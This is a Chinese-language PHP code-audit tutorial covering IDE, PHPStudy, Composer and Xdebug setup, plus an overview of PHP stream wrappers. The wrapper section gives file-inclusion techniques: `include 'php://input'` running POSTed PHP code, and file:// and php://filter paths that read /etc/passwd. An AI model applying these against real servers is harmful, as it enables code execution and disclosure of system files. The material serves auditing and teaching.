PHP 代码审计基础

常用工具
PHPStorm
PHPStorm 是一款优秀的 IDE,方便审计调试代码。直接在 Windows 上装一个,调试就远程调试即可。
PHPStudy
通常配置 WEB 环境是一个非常繁琐的过程,但是 PHPStudy 内置了很多自动化的脚本将这个过程变得比较方便,这样我们就可以把主要精力放在审计代码上了。
软件安装
Windows 平台
Windows 版直接下载安装即可。
Linux 平台
Linux 版有专门的安装脚本,安装完后根据提供的网址访问管理网页进行后续配置。
1 | wget -O install.sh https://notdocker.xp.cn/install.sh && sudo bash install.sh |
Linux 版有时候登录会有这个错误:
按照提示修复即可:
1 | ➜ sky123 xp |
mysql 安装位置如下,直接 mysql 是小皮的 mysql 管理。
1 | /usr/local/phpstudy/soft/mysql/mysql-8.0.16/bin/mysql |
Composer
Composer 是用来安装和管理 PHP 项目中所依赖的库(package)和框架(如 ThinkPHP、Laravel)的工具,类似 Java 的 Maven。
软件安装
Windows 平台
首先去官网下载 Windows 安装器:Composer-Setup.exe
。这是官方的图形化安装程序,非常适合 Windows 用户。
之后双击 Composer-Setup.exe
安装,器件需要选择 PHP 解释器路径(phpStudy 用户一般是:D:\phpstudy_pro\Extensions\php\phpx.x.x\php.exe
)。
另外 PHPStudy 也集成了 Composer,我们可以在软件管理里面安装 Composer。
由于 PHPStudy 没有将 Composer 以及所依赖的 PHP 选入环境变量,因此我们需要在网站管理打开 composer 终端。
PHPStudy 集成的 Composer 可以自由切换 PHP 版本,确保与 PHPStudy 当前使用的 PHP 版本保持一致。
获得 Composer 终端后,我们就可以使用 PHPStudy 当前 PHP 版本对应的 Composer 创建和管理项目。
Linux 平台
首先下载 Composer 安装器:
1 | php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" |
之后安装 Composer 到系统路径,这里我把 composer 安装为全局命令 /usr/local/bin/composer
。
1 | sudo php composer-setup.php --install-dir=/usr/local/bin --filename=composer |
另外可以直接使用 apt
安装,不过可能不是最新版:
1 | sudo apt install composer |
软件使用
object-graph
在分析一些复杂的 PHP 对象的时候,除了使用 print_r
或者 var_dump
输出之外,我们还可以通过 object-graph 生成图像来协助分析。
软件安装
我们可以在 PHP 项目的所在目录下运行如下命令安装:
1 | composer require sebastian/object-graph |
另外我们还要安装 object-graph 所依赖的图形生成工具 Graphviz,之后在命令行中运行 dot -v
测试是否安装成功。
软件使用
使用时我们只需要分别引入下面的个文件和命名空间。
1 | require 'vendor/autoload.php'; |
然后就可为要分析对象生成图片:
1 | object_graph_dump('/graph.svg', $obj); |
这里我们直接封装成一个工具函数方便使用。
1 | function dump_object_graph(object $obj, string $filename = 'graph.svg'): void { |
注意
PHP < 8.1 时无法装 v3 版本的 object-graph,而低版本的 object-graph 存在字符逃逸问题 导致图片绘制失败。
而 PhpStudy 中 8.2 版本的 PHP 安装之后 php.ini
中的内容会被清空。因此需要将所在目录下的 php.ini-development
中的内容复制过来。然后还要作如下修改:
将
extension=openssl
取消注释,即开启 SSL 支持。否则会报错:1
2
3
4
5In Factory.php line 648:
The openssl extension is required for SSL/TLS protection but is not availab
le. If you can not enable the openssl extension, you can disable this error
, at your own risk, by setting the 'disable-tls' option to true.将
extension=zip
取消注释,即启用 PHP 的zip
扩展。否则会使用git
下载又因为 没有git
而报错:1
2
3
4
5
6
7Failed to download sebastian/object-reflector from dist: The zip extension and unzip/7z commands are both missing, skipping.
The php.ini used by your command-line PHP is: C:\phpstudy_pro\Extensions\php\php8.2.9nts\php.ini
Now trying to download from source
In GitDownloader.php line 82:
git was not found in your PATH, skipping source download需要设置
extension_dir = "ext"
确保 PHP 能找到扩展安装路径,否则会报错:1
PHP Warning: PHP Startup: Unable to load dynamic library 'openssl' (tried: C:\php\ext\openssl (找不到指定的模块。), C:\php\ext\php_openssl.dll (找不到指定的模块。)) in Unknown on line 0
PHP 代码调试
Xdebug 基本概念
Xdebug 是 PHP 的一个调试器扩展(extension),可用于断点调试、调用栈跟踪、性能分析等。其调试核心机制是:PHP 脚本运行时通过 Xdebug 主动连接 IDE(如 PHPStorm),并基于 DBGp 协议与 IDE 通信,传递断点、变量等调试信息。
Xdebug 版本体系
Xdebug 的版本体系主要围绕两个主版本线:Xdebug 2.x(传统稳定线)和 Xdebug 3.x(现代重构线)。二者的基本情况如下:
项目 | Xdebug 2.x | Xdebug 3.x |
---|---|---|
发布起始 | 2007 年(2.0.0) | 2020 年(3.0.0) |
设计目标 | 为 PHP 5/7 提供 DBGp 调试协议支持 | 重构配置、优化性能、对 PHP 7.2+ 设计 |
生命周期 | EOL(仅安全维护,不再新增功能) | 活跃开发中 |
当前稳定版本 | 2.9.8(最终稳定版) | 3.3.x(支持 PHP 8.3) |
推荐使用场景 | PHP 5.x ~ 7.1 遗留项目 | PHP 7.2+ 全新或主流项目 |
虽然 PHP 与 Xdebug 版本不是强绑定,但二者之间存在明确的兼容区间。必须确保所用的 Xdebug 版本支持当前的 PHP 版本,否则加载会失败。不同版本的 PHP 的 Xdebug 支持范围如下:
PHP 版本 | 支持的 Xdebug 版本 |
---|---|
PHP 5.2 ~ 5.6 | Xdebug 2.0 ~ 2.5 |
PHP 7.0 ~ 7.1 | Xdebug 2.4 ~ 2.7 |
PHP 7.2 ~ 7.4 | ✅ Xdebug 2.6+ / 3.x |
PHP 8.0 ~ 8.1 | ✅ Xdebug 3.0+ |
PHP 8.2 ~ 8.3 | ✅ Xdebug 3.2 / 3.3 |
PHP 8.4+(未来) | 预计支持 Xdebug 4.x |
如果我们已经安装好 Xdebug 插件,那么可以通过如下命令查看当前安装的 Xdebug 插件版本:
1 | php -v |
具体要查看输出中是否有:
1 | with Xdebug v2.x.x ← 说明你用的是 Xdebug 2 |
Xdebug 配置选项
Xdebug 是一个功能丰富的 PHP 扩展,提供断点调试、函数追踪、性能分析、代码覆盖率等多种能力。但在这里我们只启用其调试(debug)功能,用于连接 IDE(如 PHPStorm)进行断点调试。
Xdebug 2.x 调试配置
1 | ; 启用远程调试功能(连接 IDE) |
Xdebug 3.x 调试配置
1 | ; 启用调试模块(debug 可组合其它功能如 trace、profile) |
与 2.x 相比,Xdebug 3.x 在配置方式上更加简洁、模块化:
- 不再使用
remote_*
开头的配置项,而是统一为client_*
和start_with_request
。 - 调试功能通过
xdebug.mode = debug
控制,不需要额外启用开关。 - 默认端口改为
9003
,PHPStorm 中也需要同步配置。
Xdebug 调试原理
假设你已经具备以下调试环境:
- 一个运行在 Web 服务器(如 Apache、Nginx 或 PHP 内置服务器)上的 PHP 项目,且已正确安装并配置 Xdebug 扩展(如设置
xdebug.mode=debug
)。 - 使用 PHPStorm 作为 IDE,并启用了调试监听。
- 浏览器中安装了 Xdebug Helper 插件,并启用了 Debug 模式。
当你在浏览器中访问页面时,若以上配置无误,Xdebug 将尝试连接 PHPStorm,IDE 会成功断点调试。以下是整个调试过程的详细流程:
sequenceDiagram participant Browser participant WebServer participant PHP_Xdebug participant PHPStorm Note over Browser: 启用 Xdebug Helper 插件(Debug 模式) Note over PHP_Xdebug: PHP 启动并加载 Xdebug 扩展<br/>xdebug.mode=debug 等配置已生效 Note over PHPStorm: PHPStorm 启动并开启监听器(监听 9003 端口) Browser->>WebServer: 访问页面(附带 Cookie: XDEBUG_TRIGGER=PHPSTORM) WebServer->>PHP_Xdebug: 转发请求(PHP 执行入口文件) alt 满足调试触发条件 PHP_Xdebug->>PHPStorm: 建立 TCP 连接(端口 9003) PHP_Xdebug->>PHPStorm: 发送 <init> 报文(包含 fileuri、idekey 等) PHPStorm->>PHP_Xdebug: 发送 <breakpoint_set> 报文(设置断点) loop 执行用户代码 PHP_Xdebug->>PHP_Xdebug: 检查当前行是否命中断点 end alt 命中断点 PHP_Xdebug->>PHPStorm: 发送 <stopped> 报文 PHPStorm->>PHP_Xdebug: 请求变量 / 栈帧(context_get, stack_get) PHPStorm->>User: 显示断点位置、变量、调用栈 end else 未触发调试 PHP_Xdebug->>PHP_Xdebug: 正常执行,跳过调试逻辑 end
浏览器发起请求并设置调试触发器
当你在浏览器中访问 PHP 页面,并通过 Xdebug Helper 插件启用 Debug 模式,插件会向请求中注入一个 Cookie:
1
2
3XDEBUG_SESSION=PHPSTORM (Xdebug 2.x 默认)
或
XDEBUG_TRIGGER=PHPSTORM (Xdebug 3.x 推荐)该 Cookie 或 URL 参数称为“调试触发器(trigger)”,用于显式告诉 PHP:“这次请求需要调试”。
Xdebug 判断是否需要发起调试连接
PHP 在接收到 Web 请求时会启动解释器并加载扩展,其中包括 Xdebug。Xdebug 启动后会判断是否应进行调试:
- 首先检查
xdebug.mode
是否包含debug
(Xdebug 3)或xdebug.remote_enable
是否为1
(Xdebug 2)。 - 然后检查是否满足触发条件:
- Xdebug 2.x 默认通过
XDEBUG_SESSION
Cookie 或 URL 参数触发调试 - Xdebug 3.x 推荐通过设置
xdebug.start_with_request=trigger
并传递XDEBUG_TRIGGER
实现
- Xdebug 2.x 默认通过
满足条件后,Xdebug 会尝试与 IDE 建立连接,目标为:
Xdebug 2.x:
1
2xdebug.remote_host=127.0.0.1
xdebug.remote_port=9000Xdebug 3.x:
1
2xdebug.client_host=127.0.0.1
xdebug.client_port=9003
- 首先检查
Xdebug 发起连接并发送
<init>
初始化包一旦触发调试,Xdebug 会主动通过 TCP 向 IDE 建立连接,并发送一个 XML 格式的
<init>
包:1
2
3
4
5
6
7
8<init
xmlns="urn:debugger_protocol_v1"
fileuri="file:///var/www/html/index.php"
language="PHP"
idekey="PHPSTORM"
appid="12345"
...
/>该报文表明调试连接已建立,Xdebug 说明了当前文件、语言、IDE key、请求 ID 等信息。
提示
- Xdebug 2 连接 IDE 时使用的
idekey
,优先取自请求中带的XDEBUG_SESSION=xxx
,如果没有,则使用php.ini
中的xdebug.idekey
。 - 在 Xdebug 3 中,
XDEBUG_SESSION=xxx
已被废弃,触发调试只用XDEBUG_TRIGGER
,而XDEBUG_TRIGGER
并不携带idekey
。因此idekey
的值始终取自php.ini
中的配置项xdebug.idekey
。
- Xdebug 2 连接 IDE 时使用的
PHPStorm 接收连接并做路径映射
PHPStorm 一旦点击了监听按钮,就会在本地监听相应端口(9000 或 9003)。
收到 Xdebug 的
<init>
报文后,PHPStorm会:- 检查
idekey
是否匹配(如 PHPSTORM) - 匹配本地路径与远程路径(根据设置的路径映射 Path Mapping)
- 判断该文件是否属于某个项目
- 准备回应调试请求
如果路径映射配置错误,则 PHPStorm 无法定位源代码,也不会命中断点。
- 检查
PHPStorm 向 Xdebug 发送断点配置
PHPStorm 会根据你在 IDE 中设置的断点,向 Xdebug 发送
breakpoint_set
命令,例如:1
2
3
4
5
6<breakpoint_set
type="line"
file="file:///var/www/html/index.php"
lineno="15"
state="enabled"
/>Xdebug 收到后会:
- 检查路径和行号合法性
- 存储断点到内部结构中
此时 Xdebug 已知需要在第 15 行断下。
断点命中与调试交互
PHP 继续执行用户代码,Xdebug 会在每次执行 opcode 时检查当前执行位置是否命中已设置断点。如果命中,PHP 会暂停执行,Xdebug 向 IDE 返回如下消息:
1
2
3<stopped reason="break">
<frame level="0" fileuri="..." lineno="15" />
</stopped>PHPStorm 收到后:
- 高亮当前断点位置
- 自动请求变量列表(
context_get
)、调用栈(stack_get
)等信息 - 支持用户逐步执行、查看对象属性(
property_get
)、执行表达式求值(eval
)
调试环境搭建
PHP 配置 Xdebug 插件
Windows 平台安装
如果想要手动安装 Xdebug 插件则需要以下步骤:
访问 Xdebug 官网下载页面。
把
phpinfo()
页面粘贴进去,网站会生成最适合你的 Xdebug 下载链接与配置方法。下载
.dll
后,放入ext
目录(与其他 PHP 扩展一致)。修改
php.ini
,添加:1
zend_extension = xdebug.dll
提示
zend_extension = xdebug.dll
中的路径是否要写全,取决于extension_dir
的设置。PHP 在解析
zend_extension
后面的路径时:- 如果是 绝对路径(如
C:/php/ext/xdebug.dll
)则会直接加载该文件。 - 如果是 相对路径或仅文件名(如
xdebug.dll
)则PHP 会从extension_dir
指定的目录中查找。
其中
extension_dir
是 PHP 配置中专门用于扩展查找的路径设置,位于php.ini
中。常见设置方式:1
2extension_dir = "ext" ; 相对于 php.exe 所在目录
extension_dir = "C:/php/ext" ; 推荐写法,绝对路径如果省略了
extension_dir
或配置错误,会导致zend_extension = xdebug.dll
无法找到目标文件。- 如果是 绝对路径(如
如果是使用 PhpStudy 搭建的环境,则 PhpStudy 自带 Xdebug 插件,我们只需要启用即可。
注意
有时候 PHPStudy 的这个开关可能不太好使,最好到 PHP 的配置文件中看看 xdebug.remote_enable
是否开着。
另外 PhpStudy 安装的 PHP 8.2.x 没有自带 Xdebug,因此会有如下报错:
1 | C:\phpstudy_pro\WWW>php -v |
这时需要我们手动安装 Xdebug 插件,过程和前面一样。
Linux 平台安装
如果使用的是系统安装的 PHP 则需要 apt
安装 Xdebug 插件。
1 | sudo apt install php-xdebug |
如果使用的是 PhpStudy 则 Xdebug 插件同样自带,开启位置如下:
坑点:
- 这里 PHPStudy 可能有一些 BUG,比如 5.3.29 版本的 PHP 没有这个选项,但可能 PHP 已经自带 Xdebug 了。
- Linux 版的 Xdebug 需要用户手动修改 Xdebug 插件,主要添加如下内容:其中**
1
2
3
4
5
6[xdebug]
zend_extension="xdebug.so"
xdebug.remote_enable=1
xdebug.remote_host=172.30.208.1
xdebug.remote_port=9000
xdebug.remote_handler=dbgpxdebug.remote_host
是 PHPStorm 所在主机的 IP 地址** 。为了获取准确的 IP 地址,可以在 PHPStorm 所在主机访问phpinfo()
然后查看_SERVER["REMOTE_ADDR"]
选项对应的 IP。
配置 Xdebug Helper 插件
xdebug-helper 是一个火狐浏览器插件,用户可以借助其设置 IDE key 从而快速与 IDE 建立调试关系(本质就是在 cookie 中添加 IDE 默认的 IDE key)。
Jetbrain 官方也推出了 Chrome 调试插件 Xdebug Helper by JetBrains。我们只需要在插件的配置页面上设置 Debug Trigger or Xdebug Cloud Key
为 PHPSTORM
即可开启调试。
配置 PHPStorm
调试设置
PHPStorm 的设置 → PHP → 调试可以进行 PHP 远程调试的相关配置,这里保持默认配置即可。其中常用的几个配置选项为:
外部连接,在 PHP 脚本中的第一行中断:如果勾选则 PHP 脚本会强制在入口文件第一行停下来。
Xdebug 调试端口:
- 端口号默认设置为
9003,9000
。这两个端口表示 PHPStorm 同时监听两个端口,分别用于:9003
:Xdebug 3.x 默认端口9000
:Xdebug 2.x 默认端口
- 勾选 “可以接受外部连接”:必须打勾,允许 Xdebug 主动连接进来。
- 端口号默认设置为
服务器路径映射
服务器路径映射是在文件→设置→PHP→服务器配置的。这一步主要是告诉 PHPStorm:远程路径 /var/www/html
对应本地 D:/phpstudy_pro/WWW/project
。
运行/调试配置(可选)
之后是运行/调试配置,这一步主要是配置启动调试时,选定运行/调试配置类型还有使用哪个服务器(就是上面配置的名字)。
提示
这一步不是必选项,一般配置完服务器路径映射之后开启监听就能调试了。PHPStorm 会自动选择合适的运行/调试配置类型。
其中常见的运行/调试配置类型有下面几种:
名称 | 作用 | 典型用途 |
---|---|---|
PHP HTTP 请求 | 发送 HTTP 请求,调试接口,支持设置方法、Headers、Body 等 | 用来调试 API 接口(类似 Postman) |
PHP 内置 Web 服务器 | 使用 PHP 自带的内置服务器(php -S )启动项目 |
本地测试快速运行小项目,不依赖 Apache 或 Nginx |
PHP 网页 | 用于通过浏览器访问 PHP 页面,并挂载调试器 | ✅ ThinkPHP、Laravel 等框架调试时常用(你当前应选这个) |
PHP 脚本 | 运行一个单独的 .php 文件(比如 CLI 脚本) |
执行 Artisan、命令行脚本、定时任务等 |
PHP 远程调试 | 监听远程服务器上 Xdebug 发来的调试请求 | 用于远程服务器调试,或容器里的 PHP |
我们通常需要配置的关键内容为:
- 创建“PHP 网页”配置。
- 配置中选择服务器。
- 主机 IP 和端口为网站对应的 IP 和端口。
- 设置文件目录映射* ,以便在本地文件能与 Xdebug 的调试信息对应起来。
配置 PhpStudy
在使用 PhpStorm + Xdebug + PhpStudy(Apache + PHP-CGI) 调试时页面断点卡住一段时间后,浏览器返回:500 Internal Server Error
。
PHP-CGI 是一个独立运行的 PHP 解释器程序,遵循 CGI 协议,用于让 Apache、Nginx 等 Web 服务器以 CGI 方式执行 PHP 脚本。
CGI(Common Gateway Interface)是一种早期用于 Web 服务器与外部程序通信的协议。
最早的网页动态效果就是 Web 服务器通过 CGI 调用 Perl、Python、PHP 等外部脚本实现的。
- Web 服务器接收到请求后,将参数(如 GET/POST)通过环境变量或标准输入传递给 CGI 程序;
- CGI 程序执行后将输出通过标准输出(stdout)返回给服务器;
- 服务器再将结果发回给浏览器。
这是因为 PhpStudy 默认使用 Apache + mod_fcgid 方式运行 PHP(CGI 模式),而:
mod_fcgid
默认 I/O 超时只有 40 秒- PHP 默认执行超时只有 30 秒
- 你在调试时挂断点、未及时继续执行,请求长时间未响应 → 被 Apache 判为超时 → 返回 500
mod_fcgid
是 Apache HTTP Server 的一个模块,名字全称是:FastCGI Process Manager for Apache它的作用是:在 Apache 中以 FastCGI 方式运行 CGI 程序(比如 PHP-CGI),从而提升性能、实现更高效的 PHP 执行方式。
mod_fcgid
不直接运行 PHP,而是负责管理 PHP-CGI 子进程池,Apache 接收到 HTTP 请求后,通过这个模块把请求转发给对应的php-cgi.exe
进程来执行,使得 PHP 与 Apache 解耦、更稳定,并支持调试与多版本并存。当在
httpd.conf
中发现下面这行配置时,说明 Apache 会加载mod_fcgid
模块。
1 LoadModule fcgid_module modules/mod_fcgid.so
解决方法是:
设置 PHP 超时时间(防止 PHP 自己超时)
这一步实际上是修改
php.ini
中的max_execution_time
和max_input_time
。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16;;;;;;;;;;;;;;;;;;;
; 资源限制 ;
;;;;;;;;;;;;;;;;;;;
; 每个脚本的最大执行时间(单位:秒)
; http://php.net/max-execution-time
; 注意:对于 CLI SAPI(命令行接口)此指令被硬编码为 0(表示不限)
max_execution_time=999999999
; 每个脚本解析请求数据所允许的最大时间(单位:秒)。在生产服务器上限制这个时间是个好主意,以防止脚本意外运行太久。
; 注意:对于 CLI SAPI 此指令被硬编码为 -1(表示不限)
; 默认值:-1(无限制)
; 开发环境建议值:60(60 秒)
; 生产环境建议值:60(60 秒)
; http://php.net/max-input-time
max_input_time=999999999设置 Apache 的 mod_fcgid 超时时间
在
C:\phpstudy_pro\Extensions\Apache*\conf\httpd.conf
中的任意位置添加:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17# 如果启用了 mod_fcgid 模块,则应用以下配置
<IfModule mod_fcgid.c>
# 设置每个 php-cgi 子进程的最大生命周期(单位:秒)
# 即使该进程空闲,过了这个时间也会被杀掉。设置为很大避免被过早销毁。
FcgidProcessLifeTime 9999999
# 设置与 php-cgi 进程进行 I/O(输入输出)通信时的超时时间(单位:秒)
# 主要影响的是:请求过程中挂断点、等待调试器时的连接超时。
# 如果时间太短,调试中断点挂久了就会 500 错误。
FcgidIOTimeout 9999999
# 设置与 php-cgi 子进程建立连接的超时时间(单位:秒)
# 如果连接建立超时(例如进程创建太慢),就会失败,返回 500。
FcgidConnectTimeout 9999999
</IfModule>
PHPStorm 调试方式
点击调试按钮
调试 Web 项目的常见方法之一是直接点击 PHPStorm 上方的 绿色调试按钮(带浏览器图标)。点击后,PHPStorm 会自动在默认浏览器中打开目标页面,并在 URL 中添加参数 ?XDEBUG_SESSION_START=16846
。
我们只要在要调试的页面上传入这个参数就可以调试。
并且之后 XDEBUG_SESSION_START
就变成了网页对应的 cookie,每次访问网页都会自带。因此再次访问网页会直接触发断点,不需要在 URL 传 XDEBUG_SESSION_START
参数。
开启监听调试(推荐方式)
另一种比较简单的方式是开启监听调试,插件开启 Debug 模式,然后访问目标网页。如果浏览器中已设置了 XDEBUG_SESSION
Cookie(比如之前访问过带参数的链接),PHPStorm 会自动接收到 Xdebug 的调试请求,断点会正常触发。
根据这个原理,我们也可以通过在 python 代码中添加相应 cookie 来调试 PHP 。
1 | requests.get(url, cookies={'XDEBUG_SESSION':'PHPSTORM'}) |
远程同步开发
在进行远程 PHP 开发或调试时,我们通常会在远程服务器上运行代码,而在本地进行开发。但在调试过程中,频繁地手动上传修改后的代码到远程服务器会非常繁琐。PHPStorm 提供了基于 FTP/SFTP 的远程部署功能,可以实现本地修改后自动同步到远程服务器,极大地提升了开发效率。
配置 FTP 服务器
如果你使用的是本地 Windows 环境中的 PHPStudy,可通过其集成的 FTP 功能快速启用服务器。具体步骤为:
打开 PHPStudy 主界面。
点击“FTP”标签页,创建一个新的用户。
设置用户名、密码。
设置“根目录”为 PHP 项目所在目录(如:
D:\phpstudy_pro\WWW\my_project
)。
回到首页,点击“启动 FTP 服务”按钮,确保 FTP 处于监听状态。
Linux 版的 PHPStudy 的 FTP 创建过程类似。不过 FTP 不需要手动开启。
配置 PHPStorm
在 PHPStorm 的设置 → 构建、执行、部署 → 部署中添加 FTP 服务器。
- 配置 FTP 连接参数:
- 主机端口设置为 FTP 服务器的 IP 和端口。
- 用户名、密码与创建的 FTP 相同。
- PHPStorm 是在 FTP 的根路径基础上寻找根路径的,因此根路径这里需要设置
\
即可。
- 配置路径映射:
- 本地路径为本地项目绝对路径。
- 部署路径为相对于前面的跟路径的相对路径。
- WEB 路径为相对于 WEB 服务器 URL 的相对路径(貌似不重要)。
如何远程同步开发
首先在窗口的右下角可以选择与哪个 WEB 服务器进行远程同步开发。
在工具 → 部署中有「自动上传」和「浏览远程主机两个设置」两个关键设置。
点击浏览远程主机选项可以查看 FTP 根目录下的文件。
自动上传功能能够将本地修改的文件自动上传到远程服务器。注意这里虽然是自动上传,但是只有按 Ctrl + s
键的时候才会同步当前文件。我们可以文件传输窗口看到文件是否同步。
另外我们可以在项目根目录右键然后在部署中选择与远程服务器同步。
PHP 常见概念
超全局数组
在 PHP 中,超全局数组(Superglobals) 是一组内置的、始终可用的特殊变量,它们在所有作用域中自动可见,不需要通过 global
或 global $xxx
声明,你可以直接访问它们,无论是在函数内、类内、还是全局代码中。
分类 | 超全局数组 | 特点/注意事项 |
---|---|---|
请求数据 | $_GET , $_POST , $_REQUEST |
注意来源和优先级顺序 |
文件上传 | $_FILES |
包含上传临时路径与错误码 |
会话管理 | $_COOKIE , $_SESSION |
$_SESSION 依赖 session_start() |
系统环境 | $_SERVER , $_ENV |
$_SERVER 非常常用,$_ENV 需配置 |
全局变量 | $_GLOBALS |
可访问所有全局变量 |
其他 | http_response_header |
用于响应头调试 |
PHP 伪协议
PHP 伪协议 ,也叫 Stream Wrapper(流封装器),是 PHP 提供的一套 统一的资源访问接口,允许开发者通过类 URL 的路径(如 php://input
、phar://archive.phar/file.txt
)访问 文件、内存、网络、压缩包、加密流等各种数据源,就像操作普通文件一样。
之所以叫伪协议(pseudo-protocols / 虚拟协议),是因为在 PHP 内部,它们并不是操作系统或底层网络协议层的真正协议实现,而是通过 PHP 的 Stream Wrapper 抽象出来的模拟协议接口。它的本质是:在 fopen、file_get_contents 等文件相关函数内部自动识别 URI 前缀 scheme://
,并将其映射到特定的 handler。
注意
凡是通过 PHP Streams 层工作的函数,几乎都能同时接受传统文件路径和任何已注册的「伪协议 / Stream Wrapper」URI。
只有极少数函数直接和本地文件系统 API 交互(如 realpath
、chdir
)或只做字符串处理(如 basename
、dirname
),它们不经过 Streams 层,因此只认「真文件路径」。
而 PHP 环境支持的伪协议种类与 PHP 版本还有 PHP 扩展安装情况有关,我们可以通过 stream_get_wrappers
函数查看 PHP 伪协议的支持情况。
1 | print_r(stream_get_wrappers()); |
为了安全起见,PHP 默认不会允许通过 PHP 伪协议直接访问远程资源。关于远程访问,php.ini
有两个配置选项:
allow_url_fopen
:表示是否允许通过文件相关函数访问远程资源(如file_get_contents
、fopen
),默认为On
。- 一旦开启了这个选项,PHP 就会识别路径开头的协议(比如
http://
、ftp://
、phar://
),并自动调用对应的处理方式,把这些“伪协议路径”当作普通文件一样来读取或操作。 - 另外例如
php://input
、data://
和phar://
这类本地协议不受allow_url_fopen
限制,即使该选项为 Off,也可以正常使用。
- 一旦开启了这个选项,PHP 就会识别路径开头的协议(比如
allow_url_include
:表示是否允许通过include
/require
加载远程文件(如include("http://...")
)
file://
file://
用于访问本地文件系统资源。它是 PHP 默认的文件封装器 —— 即使你不写 file://
,PHP 也会自动使用它。例如,file_get_contents("foo.txt")
实际上等价于 file_get_contents("file://foo.txt")
。
file://
协议路径的标准格式如下:
1 | file://<host>/<absolute-path> |
<host>
是主机名,但file://
协议只能访问本地资源,因此<host>
要么省略(即写成file:///
),要么写成localhost
。注意
localhost
不能用127.0.0.1
代替,因为 PHP 会错误解析为远程主机访问导致报错。<absolute-path>
是要访问的文件的绝对路径,支持..
实现路径穿越。
然而是实际情况下的路径格式并不完全遵循上述格式,这是因为 PHP 的路径解析有很强的兼容性。
例如 Linux 的 /etc/passwd
文件对应下面几个 file://
协议路径都是合法的。
1 | file://localhost/etc/passwd |
Windows 的 C:\Windows\System32\drivers\etc\hosts
文件对应下面几个 file://
协议路径都是合法的。
1 | file://localhost/C:/Windows/System32/drivers/etc/hosts |
php://input
php://input
是 PHP 提供的一个只读流(readonly stream),用于访问原始的 HTTP 请求体(raw body),例如 POST
、PUT
、PATCH
等请求发送的正文数据。它不会经过 PHP 的解析机制(如 $_POST
),也不会做编码转换,适合接收 application/json
、application/xml
等非表单格式的数据。
通俗的来说, php://input
就是把你 POST 请求里发送的数据,当成一个只读“虚拟文件”来读取 。例如下面这段 PHP 代码会执行我们发送的 POST 数据包中的 PHP 代码。
1 | include 'php://input'; |
虽然 php://input
访问的是本地的请求体,但它是 PHP 的流封装器(stream wrapper)的一部分,因此会被当作 URL 封装路径处理。在此机制下,php://input
受 allow_url_fopen
和 allow_url_include
选项的限制。
php://filter
php://filter
是 PHP 提供的一个流过滤封装器(stream wrapper),它允许你在读取或写入数据之前,对其应用一个或多个“过滤器”,例如进行编码转换、压缩、base64 编码、rot13、字符串替换等。
php://filter
的使用语法如下:
read
和write
用来表示要对哪个方向的数据使用过滤器。在php://filter
中是单向的、一次只能指定一个方向的过滤器链,不能同时使用read=
和write=
。read=
:读取时应用过滤器(常用于查看文件内容前进行 base64 编码等)write=
:写入时应用过滤器(写文件时自动转码等)
<filtername>
是要应用的过滤器名称,多个过滤器可以用逗号(,
)或管道符(|
)分隔(注意新版本只能用管道符)。常用的过滤器有:- 字符串过滤器 :
string.rot13
:进行 ROT13 转换(简单替换加密)。string.toupper
:将字符串转换为大写。string.tolower
:将字符串转换为小写。string.strip_tags
:去除 HTML 和 PHP 标签。
- 转换过滤器 :
convert.base64-encode
:将数据进行 Base64 编码。convert.base64-decode
:将 Base64 编码的数据进行解码。convert.quoted-printable-encode
:进行 Quoted-Printable 编码。convert.quoted-printable-decode
:解码 Quoted-Printable 编码的数据。convert.iconv.<from_encoding>.<to_encoding>
:将数据从一种字符编码转换为另一种。
- 压缩过滤器 :
zlib.deflate
:使用zlib算法进行压缩。zlib.inflate
:解压zlib压缩的数据。bzip2.compress
:使用bzip2算法进行压缩。bzip2.decompress
:解压bzip2压缩的数据。
- 加密过滤器 :
mcrypt.*
:使用 mcrypt 扩展进行加密。mdecrypt.*
:使用 mcrypt 扩展进行解密。
提示
实际支持的过滤器与 PHP 版本和扩展安装情况有关,我们可以通过
stream_get_filters
函数来获取当前 PHP 环境支持的所有过滤器。1
print_r(stream_get_filters());
另外如果有多个过滤器则数据会从左到右依次经过过滤器的处理,并且同一类过滤器可以多次出现。
- 字符串过滤器 :
resource=<source>
:指定要筛选过滤的数据源,resource=
后面不仅可以是普通的文件路径,还可以是其他合法的路径(可以是相对路径),包括 PHP 的伪协议(stream wrapper)路径。
例如以 base64 编码的方式进行读取指定路径的文件使用的路径如下。
1 | php://filter/write=convert.base64-encode/resource=file:///etc/passwd |
phar://
phar://
是 PHP 的一个伪协议,用于访问本地的 PHAR(PHP Archive)归档文件内容。这些归档可以包含 PHP 脚本和其他任意资源文件,支持 tar
、zip
或自定义封装格式。通过 phar://
,你可以像访问目录结构一样直接读取归档内部的文件内容。
phar://
的基本语法如下:
path/to/pharfile.phar[ext]
:必须是本地可访问的路径(绝对路径或当前目录的相对路径)。internal/path/to/file
:PHAR 文件内部的文件路径。
zip://
zip://
是 PHP 中的一种 压缩归档伪协议(stream wrapper),允许你像访问普通文件一样直接读取本地 .zip
压缩包内的特定文件内容,无需手动解压。它常用于 file_get_contents()
、fopen()
等文件读取函数中。
与之类似的压缩相关协议还有:
zlib://
:用于读取或写入 Gzip 格式的压缩流文件,常用于.gz
文件。bzip2://
:用于读取或写入 Bzip2 格式压缩文件,常用于.bz2
文件。
不过 zlib://
和 bzip2://
是流协议,支持顺序读写;zip://
是归档协议,支持访问其中的子文件。
zip://
协议的使用与 phar://
协议类似,需要指定压缩文件的路径以及其中的子文件路径。
path/to/your-archive.zip
:ZIP 压缩包的绝对路径或相对路径。path/within/zip
:ZIP 压缩包内部的文件路径。
http:// 或 https://
http://
和 https://
在 PHP 中也是伪协议(stream wrapper),允许你像读取本地文件一样访问远程 Web 资源。由于是远程访问,因此需要开启 allow_url_fopen
和 allow_url_include
。
注意
通过 HTTP 或 HTTPS 协议访问远程文件时,获取的是服务器响应内容,而不是原始文件。对于动态脚本(如 .php
、.asp
、.jsp
),你拿到的是执行后的结果,而不是源代码本身。
如果希望获得原始文件内容,最好请求的是静态资源(如 .txt
、.json
、.log
文件),并确保服务器未对这些文件做特殊处理或拦截。
data://
data://
是 PHP 内置的一种伪协议(stream wrapper),用于将数据直接嵌入到 URL 中,并以流的形式读取这些数据,就像从一个真实文件中读取内容一样。
data://
协议的基本语法如下:
<mediatype>
:数据的媒体类型,通常是 MIME 类型,例如text/plain
或text/html
。默认是text/plain
。;base64
:如果数据是 Base64 编码的,需要加上这个标志。<data>
:实际的数据,可以是普通文本或 Base64 编码的数据。如非 base64,需进行 URL 编码。
会话与鉴权相关
